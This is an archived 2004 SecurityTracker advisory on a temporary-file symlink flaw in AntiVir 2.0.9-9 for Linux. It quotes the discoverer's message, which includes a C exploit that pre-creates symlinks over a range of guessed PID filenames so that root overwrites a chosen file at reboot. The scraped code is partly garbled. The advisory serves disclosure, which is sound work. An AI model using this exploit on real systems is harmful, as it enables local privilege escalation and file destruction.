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Category:   Application (Security)  >   AntiVir Vendors:   H+BEDV Datentechnik
AntiVir Temporary File Symlink Flaw Lets Local Users Overwrite Files With Root Privileges
SecurityTracker Alert ID:  1008702
SecurityTracker URL:
CVE Reference:   CAN-2004-0058   (Links to External Site)
Updated:  Jan 20 2004
Original Entry Date:  Jan 13 2004
Impact:   Modification of system information, Root access via local system
Exploit Included:  Yes  
Version(s): 2.0.9-9
Description:   A vulnerability was reported in AntiVir in the Linux version. A local user can obtain elevated privileges on the target system.

l0om from reported that the software creates temporary files in an unsafe manner. A local user can create a symbolic link from a critical file on the system to a likely temporary file name (with a name of the format '/tmp/.pid_antivir_[pid]'). Then, when the system reboots and the AntiVir is loaded, the symlinked file will be overwritten with the privileges of AntiVir (root privileges).

A demonstration exploit script is provided in the Source Message.

Impact:   A local user can overwrite arbitrary files on the system with root privileges to gain root privileges.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Access control error, State error
Underlying OS:  Linux (Any)

Message History:   None.

 Source Message Contents

Subject:  symlink vul for Antivir / Linux Version 2.0.9-9 (maybe lower)

discovered and written: l0om <> 
 date: 13.01.2004 
 risk: medium 
 symlink vul for Antivir / Linux Version 2.0.9-9 
(maybe lower) 
 antivir gets started on bootup and creats a tmp file 
(/tmp/.pid_antivir_$$ - where 
 $$ is the process id). the file got read/write 
permissions for the superuser 
 and nothing more. the file gets created and wont be 
delted till the system reboots. 
 well- as most of us know is the PID of a process is 
not on ervery reboot the same. 
 so the PID of the antivir process goes +/- 10-20. 
 if we creat a link with the correct name 
(expamle .pid_antivr_1204) which points 
 somewhere to the system, it will create or overwrite 
the destination of our 
 symbolic link. 
 this exploits should work for most rebooting 
systems, as we guess the pid of the 
 new process will be greater than 1000 and less than 
2000. for better usage take 
 a look at the running procces ID and set the defined 
START -20 and END +20. 
 sometimes one reboot does the job and sometimes it 
takes two reboots. 
 i think the programmers could use the same method 
like the guys from xmms. before 
 they creat anything they first "unlink" the filename 
in the /tmp dir. 
 greets @ proxy, sirius, takt, maximilian, !ntruder, 
fe2k, dna, feem, cyniker, xnet and the rest of 
 ./antisys /etc/nologin 
  ls -l /etc/nologin 
  rw------- root root /etc/nologin 
 have phun! 
 #include <stdio.h> 
 #include <unistd.h> 
 #include <string.h> 
 #define PATH "/tmp/.pid_antivir_" 
 #define START 1000 
 #define END 2000 
 int main(int argc, char **argv) 
 int i; 
 char buf[150]; 
 printf("Antivir 2.0.9-9 exploit - written by l0om
 printf(" WWW.EXCLUDED.ORG\n\n") 
 if(argc != 2) { 
 printf("usage: %s <destination-file>\n",argv[0]); 
 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout); 
 read(1, buf, 1); fflush(stdin); 
 for(i = START; i < END; i++) { 
 snprintf(buf, sizeof(buf),"%s%d",PATH,i); 
 if(symlink(argv[1], buf) == -1) { 
 fprintf(stderr, "cannot creat symlink from %s to %s 
 fprintf(stderr, "skipping...\n"); 
 printf("on the next reboot we hopefully create or 
overwrite %s\n",argv[1]); 


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